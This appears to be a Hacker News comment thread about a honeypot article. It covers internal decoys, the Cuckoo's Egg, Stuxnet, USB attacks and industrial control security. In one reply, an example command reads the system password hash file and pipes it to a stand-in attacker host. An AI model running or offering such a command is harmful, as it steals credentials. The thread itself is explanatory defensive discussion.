Running a fake power plant on the internet for a month | Hacker News Reader

Running a fake power plant on the internet for a month

grimminck.medium.com

430 pointstutfbhuf102 comments

I run a honeypot software company, with our customers being mid-large enterprises. While the case presented here is certainly interesting, it's actually fairly uncommon for companies to run internet-facing honeypots, mostly due to it being a huge resource sink, and it's fairly difficult to learn anything truely useful from observing attacks coming from (mostly) bots.

The more interesting use case for most is planting these in your network internals, which gives an added benefit of early, high-fidelity threat detection in addition to the "threat intelligence" bonuses. It's not completely trivial to set up, but can be a reasonably quick way to build good detection capability into even very disparate environments.

A vast majority of organizations still lack good situational awareness of their infrastructures and this is one way of improving on that.

A fun example of a honeypot was that placed by Cliff Stoll in 1986 on a computer system at Lawrence Berkeley when trying to get a repeated attacker to stay on the line long enough to be traced, as described in The Cuckoo's Egg and portrayed in this PBS NOVA recreation: https://www.youtube.com/watch?v=hTx9h3Sm29I

I read this book last year. What a fun read! Well thought out, clever solutions, and a very focused amount of tenacity.

Wait, "stay on the line long enough" was an actual thing? I guess that means shorter calls were free, as they could not be documented/invoiced?

No, it took time to actually trace the call through the exchange(s) and through the Transatlantic communications satellites. I'd recommend you read the book if you are at all interested, it's great.

Interesting. Still wonder how a called could be billed without generating a paper trail that could be used for tracing?

They were billed at the outgoing end, handled at the local exchange for the most part. Handled offline until quite late at a lot of them -- think rolls of paper tapes (later magtape) logging calls, to be read in at the billing office at the end of the month.

You'd still have to know which exchange the call was coming from, to track it that way.

Iirc that was one of the ways they finally got Mitnick back in those days.

hahahah the intro of the video is hilarious

Back in the day if you were watching PBS and saw the WGBH logo you knew it was going to be good.

It's also the reason I will never forget the ZIP Code for Allston.

Everything this guy does is hilarious and entertaining. See later talk about this event: https://www.youtube.com/watch?v=1h7rLHNXio8

And he drives RC forklift under his house to store Klein bottles he's selling! https://www.youtube.com/watch?v=-k3mVnRlQLU

I'm wondering, given how threat actors normally behave when intruding into networks, do you also have honey user credentials in the network?

I don't imagine you're catching many serious attackers just by exposing fake servers vulnerable to MS17 for example.

Could you explain more about your strategies and which types of attackers you can say you'd catch with surety?

> I'm wondering, given how threat actors normally behave when intruding into networks, do you also have honey user credentials in the network?

Yes, for some types of honeypots credentials can be useful. Although it bears to keep in mind that the more accessible you make your honeypots, credentials, and other "detection elements", to more you open yourself to false alarms. Some vendors in our space plant credentials to every endpoint and I've heard mostly negative results (legitimate users clicking stuff out of curiousity, which completely destroys the key benefit of using honey/deception things.)

> I don't imagine you're catching many serious attackers just by exposing fake servers vulnerable to MS17 for example.Could you explain more about your strategies and which types of attackers you can say you'd catch with surety?

One use case we suggest is tying your honeypot strategy with your existing internal vulnerability & threat management, in practice for example circulating the types of honeypots you have to reflect acute, high-value vulnerabilities - or for slightly more advanced orgs who are on top of their threat intelligence, they could actively plant honeypots that match asset types threat actors in their industry space have been known to target.

Tie that with creds, integrations and such where applicable and you have a pretty decent palette for catching events that also bear useful and timely security telemetry.

So say you're in charge at a financial organization, and you're sprinkling fake alliance servers here and there in your network. How is that going to catch an actor like lazerus?

They're not going to scan your service, or attempt to attack it without observing actual workflows of their target's employees. If the employees are not using the honeypots, they won't either.

What strategy do you employ to catch attackers at that level? I'm not critical of honeypots in general. But I would like to know some success stories, since I have not witnessed their success myself, and have a hard time believing they'd help against attackers that have the skills to penetrate otherwise well defended organizations.

Actually in this scenario an alliance server may be a poor asset to replicate specifically because of what you stated - if the attacker is watching the traffic it's easy to spot. The more powerful place would be to be interferring with in the lateral movement stage, since there's bound to be some of that in any given attack.

That being said, it's entirely possible large financial services has both resources & mandate to run something more effective, like build in-house detection suites or use other things that provide a better signal than honeypotting. As said in the original post, it's one way of doing it and depends on your use case whether it's a good one or not.

Right but that's just it. I've always toyed with the idea of honeypots in my mind. But I'm not sure what type to incorporate into existing security measures.

I primarily deal with big financials and fintechs. The problems they have are very difficult to solve. They are slow, have big legacy processes and tech and combine that with large targets on their backs. The signal to noise ration is very bad, given the amount of users and old weird tech in the network. They need something better than 1000s of "Suspicious file on machine" warnings EDR generates for them. Or "beaconing detected" every time a youtube endpoint changes or something.

They can only tackle one single security measure at a time, because any change is a Big Project given the existing infrastructure, red tape and ways of working.

I always come to the the conclusion that honeypots would not work. The security is good enough to ensure that the threats that do slip past will not make the mistake of scanning the network once inside. They'd probably not even notice there were any honeypots in the network.

To catch them when they're moving in the network you'd need to give them credentials that appear to give them the keys to the kingdom. Perhaps a user present on each machine that appears to be admin on a domain controller that does not exist? That'd be a honeypot server + credential...

Would you be open to a friendly chat on how we could possibly improve on this? As a small company, it's fair to say the big financials have evaded us so far - however, it doesn't mean it would be highly useful to understand how the top end thinks about internal threats..

My email is in my profile, so if you're up for it, send me a message. Seeing it's slightly unconventional to solicit chats via message boards so no hard feelings if not interested and if so no need to reply.

Thanks for the conversation any how!

Internal honeypots as early warning system are called Canaries. Usually they run on a just slightly outdated and vulnerable software version, so that an attacker does not need credentials.

One example would be emulating a forgotten file server with SMB1 enabled. The homepage of Thinkst Canary https://canary.tools/ gives a good overview.

Canaries has been pretty much replaced by decoys as the "official" term, as denoted by the MITRE SHIELD framework:

https://shield.mitre.org/matrix/

Canary (in a coal mine) makes more sense to me if the goal is an early warning system.

Did you plant internally to detect malicious actors from within the organization or as a way to definitively detect external actors who have presumably entered the network through an exploit?

Both are viable. It depends a bit on industry; pharma companies, say, are quite concerned about internal threats whereas financial and retail are more likely targets of external actors.

You do need to consider the type of honeypot used - asking the question "what is the goal the adversary has" is a good question to ask and optimizing you honeypots based on that is a smart thing. An internal threat is going to look for specific types of assets, and you need to build honeypots (or decoys, as the modern lingo calls them) that look like those assets.

Why not both?

You are probably right, but ‘both’ is the easy answer I’d think.

The question really was what the intention is, not the effect.

Catching attacks from within the organisation might just be a side-effect of catching remote hackers for example. The effect is then ‘both’, but the intention is the latter.

Why the question deserves a better answer than “why not both” is that the reasoning behind using internal honeypots is interesting. Which arguments speak for it, which against.

So let’s not kill this question thread with a too shallow answer.

Nice, your software looks pretty polished! Have you published any kind of best practices guides for using decoys, or alternatively are you aware of any other good guides?

I've seen decoys mentioned in infosec Twitter quite a few times recently (I think more about OSS ones), and I'd like to learn more about how they are generally actually used, what the expectations are etc.

We haven't so far..

Mitre SHIELD (shield.mitre.org) lays out the different types of capabilities there are in this domain but doesn't have a lot of practical how-to advice which is what I think you're more after.

If you think it would be helpful I can send you our "product guide" which touches a bit on the decoy best practices. If this sounds useful message me at simo@[the domain in my profile] and I'll send it over.

I might actually write something about it online also, sounds like it could be useful knowledge for many.

There was a recent WSJ article I submitted recently that details how companies such as Land O' Lakes are doing just that -- honeypots on internal networks.

https://news.ycombinator.com/item?id=25741589

Seems there's a bit of love going around for deception lately, always good to see some implementation stories going mainstream.

Hopefully one of your honeypots simulates NetBackup. eg the Veritas (was Symantec) software

That should be reasonably easy to simulate, and (I'm guessing) Netbackup infrastructure would be significantly interesting to any hacker once they've popped an org.

To be frank I haven't heard of such scenarios from any direct sources. If you're thinking ransomware here then it's usually fairly automated and takes a shotgun approach for propagation, and trying to extend your breach to also manipulate any potential backup software would significantly increase the cost of the attack.

That being said - I could easily see this as a future trend (targeting backups) and it is not remotely a bad idea.

Ahhhh. Hadn't thought of the ransomware aspect at all, but it's a good point. ;)

With NetBackup (and probably other "Enterprise Backup" software too) the NetBackup master servers have ~root level access to pretty much every server in an Enterprise. Or at least, every server being backed up. Which is likely to be everything important. ;)

NetBackup master servers also have the capability to run commands (as root) remotely on systems-they-back-up, and have those commands not be logged by the auditing on the systems (or anywhere really).

To my mind, that seems like a handy thing for hackers to target. ;)

I get a feeling this could be the next Solarwinds..

Do all employees know about honeypots or just a select few?

Just a select few usually, from within the security team. of course this applies for boilerplate big company deployment.

I could see use cases where you would involve others like IT or dev in the deception process..

This is interesting, but like most honeypot discussion kinda melodramatic. They got scanned by a bunch of known internet scanners, and a few mysteries including a "store that sells weaponry" (which turns out to just be scopes and red dots -_-). It's always good to people reporting that they discovered nothing, but it is a bit boring.

This is likely just a way to subtly show off the authors talents. But I completely agree. Absolutely nothing of interest.

It seems obvious not to connect a power plant to the internet but there have also been of attacks against "air gapped" systems: https://www.reuters.com/article/cybersecurity-powerplants-id...

Edit. There is also a more in depth Scientific American article. Search for "Hacking the Lights Out".

Almost every power plant is effectively internet connected even if it has old control equipment that predates IP as the vast majority of SCADA systems have IP connected HMIs or other core components.

There may be steps involved in getting your RDP exploit to send commands over vendor proprietary RS-485 protocols, but except for certain nuclear plants that are truly air gapped, but it's fewer than you'd sleep soundly knowing about.

I once had a network admin at a major US transmission utility tell me with a straight face that all of their SCADA was pure serial as I was telnetting into the Zhone mux doing those serial channels via a WiFi connection.

In 1990s, When I worked with process control systems, primarily DCS, for petrochemicals, beverages, and other chemical plants, we had phone modems connected to our systems. Only precaution was that modems were not connected to phone port unless someone needed remote access and were disconnected after use.

Actually, we used to computer simulate operations of facility to test our DCS systems against.

I was once talking to an industrial automation engineer at a huge and strategically relevant US industrial group (they made aluminum parts or something, and their direct customers included aircraft manufacturers and military) and he was proudly telling me how they patched raspberry pis into their industrial control systems so they could administer things remotely. It wasn’t super confidence inspiring.

yeah, having actually worked with plcs in industrial control systems... the security is, ahem, lacking for the most part. not that my work was with high security process control but I'd say it's fundamentally lacking for the most part as the state of the art is not that great.

Ok, but the attack on the air gapped system was simply via a infected USB stick.

There are more interesting ways, to do it:

https://hackaday.com/2017/02/02/hacking-the-aether/

Stuxnet[0] for example. A highly sophisticated attack using several Windows 0-day exploits and infecting USB Flash drives to get to a air gapped Notebook that is used to program PLCs.

0: https://en.wikipedia.org/wiki/Stuxnet

The book Sandworm by Andy Greenberg also goes a little into depth about attacking powerplants and other industrial control systems. Can highly recommend!

"attacking powerplants and other industrial control systems. Can highly recommend!"

Sounds fun, but please not in my neighbourhood ..

Power grids are typically only designed to tollerate one or two major faults at once, so if you mess with enough powerplants at the same time you might be able to trigger a failure that cascades through the entire powergrid. In the 2006 European Blackout [1] a single poorly executed line cut led to a cascading failure that left 10 million people over 5 countries without power for two hours.

So better stay a couple countries away from me with experiments. Or maybe don't, better a benevolent chaos monkey than being hit unprepared by your enemy.

1: https://en.wikipedia.org/wiki/2006_European_blackout

I suppose with the state-level hacking of the powergrid is, most can do it, but won't because the enemy can do so, too. So like the nuclear standoff. Nobody uses it, because the enemy can wreck your shit, too.

But the whole grid needs a rework. Also because of renewables and batteries etc. To better react do changing demand and enable a free market, where it is easy to buy and sell power.

A similar thing almost happened recently because of a Romanian power plant. And there was also an incident in Kosovo a few years ago that caused a slight frequency decrease that caused all sorts of problems.

Yep it's great. Countdown to Zeroday by Kim Setter about Stuxnet is awesome also.

The book is amazing! The technical analysis by Symantec [1] also makes for a very good complementary read.

[1] [PDF] https://www.wired.com/images_blogs/threatlevel/2010/11/w32_s...

Yeh I've given it to techies and non-techies as it's very readable and suits both audiences.

Coincidentally, I just ordered this book seconds ago. I've also heard only good things about it!

Seconded!

i learned to my displeasure that thick manuals are sometimes distributed with products as USB sticks these days, i immediately thought of this when i opened up an inverter box and saw a USB stick sitting there

I understand that not sticking USB sticks into sensitive systems is the prudent conservative security choice.

The “silly users picking up USB sticks dropped in the parking lot” is a basically a security trope nowadays. But I feel there should be some blame associated with our operating systems too. Like why is this an axiom that if you use an untrusted USB stick you are going to get eaten by the Grue?

If an Os would say “sorry bad people got into your network, your computer is now owned by them” that would be an unacceptable security vulnerability, why is the equivalent accepted as a fact of life with “bad usb sticks”?

I understand the OS cant do much with a usb device which burns out the motherboard with an electric shock. But there is a whole set of other things it should reasonably protect itself from.

My understanding is that the OS can't differentiate a malicious USB stick from a USB keyboard.

In particular, the keyboard could be typing "sudo cat /etc/shadow | telnet bad.com 80"...

I was thinking about that. What the OS could do is to ask for confirmation on the second keyboard. It could be something as simple as “Looks like you connected a secondary keyboard. Please type in the following random 3 numbers before it becomes active.”

If on boot it finds two keyboards it can do the same with both.

> Please type in the following random 3 numbers before it becomes active.

Mac OS does something like this. If, say, I attach (via either USB or Bluetooth), a presentation remote, I'll get a keyboard identifier alert.

It isn't really anything more than an alert, though, because I can ignore the ID step, and it still works.

Only for keyboards whose VID/PID combo it doesn't know and so can't associate a scancode mapping.

Appearently the os can't differentiate between any USB devices.

I saw a great video years ago (which I haven't been able to locate for years) that went into detail as to how you can basically make a custom usb device arbitrarily malicious. The trick that sounded particularly good was that you can impersonate a usb device that requests a driver that has a known security vulnerability.

Fun times.

Yep, the issue is that the host OS has no way to verify the identity of the USB device. It has to believe whatever the device claims. Something that looks like a charging cable might actually "be" a 1990s-era Wacom tablet with crappy drivers, which also charges your phone.

The only protection is to restrict what types of devices are allowed to connect. The kernel is not obligated to recognize any device that you attach (though of course most users will expect it to do so!). And of course some host OSes make such restrictions difficult or impossible.

It's more of a systemic problem. We don't have this problem with bluetooth or wifi because it uses encryption and individual keys. But usb is unencrypted with no secure identification mechanism.

Some home broadband routers have a NAS-like ability to mount USB sticks as a SAMBA share - I use a spare one for iffy sticks on the assumption they’re unlikely to come ready to compromise some random non-PC embedded OS.

That's a great idea!

I would suspect that maybe setting up a Linux box on an old unit might be a similar exercise.

Digital system are just not mature and harden enough for security. Seems like we need to harden them on the software and hardware level before they can be trusted for driving car and other machinery stuff.

FWIW I interned at a US nuclear plant. They intentionally don't upgrade to digital systems for fear of being hacked, everything in the plant was analog when I was there 6 years ago.

Good for them! These vary from simple “smart” light switches, to machinery used in industrial plants

This line makes me cringe. Current IT infrastructure are just NOT secure. Until the major IT tech companies and nation state can prove otherwise, important machineries, especially nuclear ought to be kept off internet and digital system.

Getting replacements for some of those older parts is hard!

Would be interested in a follow up article, especially if it baited more activity. The conclusion is woefully short, and I could speculate on some of the results, particularly the activity from the .tw domain. More investigation welcome.

For anyone looking to experiment with honeypots TPOT is awesome. They've really done a great job of building a simple, well presented and fairly stable tool that pulls together a lot of honeypots into the one place. A sophisticated attacker can usually detect it but it's very good and easy to setup all the same. You really need to run it on 16gb RAM if you are using the full thing.

It's very interesting the results you see depending on where you put it (internal/external etc). Pretty quickly you get a decent sense of the pulse of the internet - XYZ is spreading, ABC range is compromised etc. Though you also get heaps of data so you need to find ways to really drill down also.

https://github.com/telekom-security/tpotce

Scanning the whole IPv4 Internet goes pretty fast (I think you can do it on a private subscriber line in a few days). What about IPv6? If I "hide" my service in my public /64 network, can I feel safe against IP scanning? That would be some security by obscurity based on the huge address space (similar to changing default TCP ports)

I think that you'll be safe for outside scans. But IPv6 devices usually talk via ICMPv6 inside their subnet, so if there are other guys on your subnet, they might find out your address. That was the case in some VPS hosters that I used, with tcpdump I was able to see addresses of other nodes.

Given that a fair few devices will fill-in the "interface" bits of the IPv6 address with their MAC (SLAAC), it might be possible to reduce the number of addresses to scan in an IPv6 /64 prefix assuming you know what devices are likely to be used on that network.

It's also very likely your device will be syncing it's clock with an NTP server such as (pool.ntp.org) which can be scraped by running your own stratum 2/3 server and adding yourself to the pool.

https://www.ntppool.org/en/

while at uni a colleague discovered zmap and scanned 0/0 from the 1gps line for the port of the intel amt management a day after a remote code exec bug was found there. he was just curious but watching the fallout and the angry forwarded mails these days was quite fun...

be careful :)

Any time you connect to a website, you reveal your IPv6 address. I can bet there is a market for making lists of valid IPv6 addresses from web logs and selling those lists to people who want to port scan those hosts.

You might even find big carriers mine IP packets to find IP addresses they can sell.

Several power plants in the uk have their control systems entirely open on the net. No authentication or encryption, you just need to know the IP address

why wont you report them? is nobody interested in securing these?

I don’t believe it

Having worked at a power-plant and a pumping station, I can believe it.

Such places will be left open now and again. Mistakes happen. Anything from "ABB needs the telemetry but cannot visit the site in person due to covid, can you open the firewall on port 1337 when they call you". Sure. (and then forgets). Some engineer left a dongle in a controller, during an emergency a laptop logs on on the network that is not properly secured etc.

What I don't believe is that OP never reported it. Because such places will have protocols and will fix it the moment someone calls. And if they don't have protocols, they will have them by the end of the week. Edit: so what I also don't believe is that OP is certain they are still wide open.

Told them ages ago, they haven't fixed it and don't seem to care. They want to be able to operate the turbines remotely and either don't care or don't understand the need for authentication.

Should add that these plants aren't big enough to cause a blackout if they are hacked, the only losers will be the owners.

How do you know these aren't honeypots?

I work in the industry. I know what power plants they are

There are plenty of real power plants connected to the internet today in the form of virtual aggregations of large batteries. In a decade there will be gigawatts of them online, so let's hope those companies take security seriously because it'd be simple to break things with the instant availability of several gigawatts on some circuit.

At work I have access to servers controlling dozens of manufacturing plants around the world. All the PLCs and the control equipment are behind a local firewall with very strict controlled inbound addresses; that means I cannot interact with it from my computer, only from the server that is collecting and archiving data. This setup is approximately the standard in the industry, there are a small number of solutions everyone is using and the implementation guidelines are very clear and easy to follow. That makes any honeypot an obvious honeypot because there is no such thing as a PLC accessible from Internet in a real production site.

> there is no such thing as a PLC accessible from Internet in a real production site.

That is so massively optimistic. I don't doubt you know your stuff, but manufacturing is a huge field, widely distributed, it is done by small companies as well as large ones, and specifying and purchasing a PLC system can be done to satisfy operational needs without necessarily having suitable network infrastructure and security expertise. The number of PLCs "accessible from Internet in a real production site" is probably in the thousands.

Smaller companies take shortcuts, that is true, but not a nuclear power plant like the bait used in the article. Smaller companies also do less damage when they are hacked.

There are most definitely production systems connected to the Internet. And the advice given by vendors ranges dramatically:

https://twitter.com/achillean/status/559124740611506178/phot...

It's definitely gotten significantly better the past 5+ years. And yes, it's extremely rare for something as a nuclear power plant to be on the Internet.

archive: https://web.archive.org/web/20210117071110/https://pbs.twimg...

Would you post an email in your profile? I'd love to get in touch!

Sorry, no (I just put myself a virtual target on the forehead). If you have a specific question I can try to answer, but that is it.

that will just move the target of those attacks to these servers (or now yourself who stated to have access to these) with apparently a lot more rewarding outcomes too.

Correct, but the servers are not published to Internet either, there is no reason to ever do that. Cracking the VPN to get to the company intranet, that is a different story.

"One of the concerns .. was the lack of insight into malicious digital (state sponsored) activity towards vital infrastructure."

Have these people ever given consideration to not connecting their vital infrastructure to the Internet. Instead using VPNs running on embedded hardware providing a .. virtual private network.

This seems like a really really obvious honeypot. I mean a nuclear power plant with an internet facing PLC??? I mean probably even haX0r bois aren't that stupid? Maybe they are it didn't seem like he got any real hits from a malevolent hacker.

Instead of using reverse DNS to see where traffic is from (e.g. the optisan.com.tw fqdn) you might be better to do a whois lookup on the source IP addresses. Reverse DNS can point anywhere, but you can't make IP addresses in TCP connections.

So all the traffic is various indexing companies and none of them made an effort to contact the author? What if, you know, the guys pretending to be good are actually just baddies selling out?

How do hackers get access to these devices and learn about how they're deployed in order to be able to exploit them? Can someone ELI5 this?

I feel like I have worked for fake companies in the past.

Yes because a nuclear power plant would have a plc Nat'd to the internet. Multi-million dollar budget, we'll just NAT the plc so joe can work from home.

If you run a fake host (honeypot) to waste their resources, won’t they run a fake attack to waste your resources? Unless it is a substantial asset, all a honeypot will do is detect a honeypot detector?

When the attack comes from dhcp-XX-XX-XX-XX.rotation5.pool7.isptelecoms.co.abc, you can now determine to block all further attacks from that IP address, but to what positive effect? The next probe will come from somewhere else and just skip over your detector?

The point of honeypots is not to block malicious IPs, but to become aware of places in your security concept where more hardening is needed, be it exploits, misconfigured firewalls, etc.

That can be a lot of things, blocking IP ranges can be one of those things if you e.g. only want to allow access to your assets from your building, but that's a general step and not reactionary to attacks.

Reply on news.ycombinator.com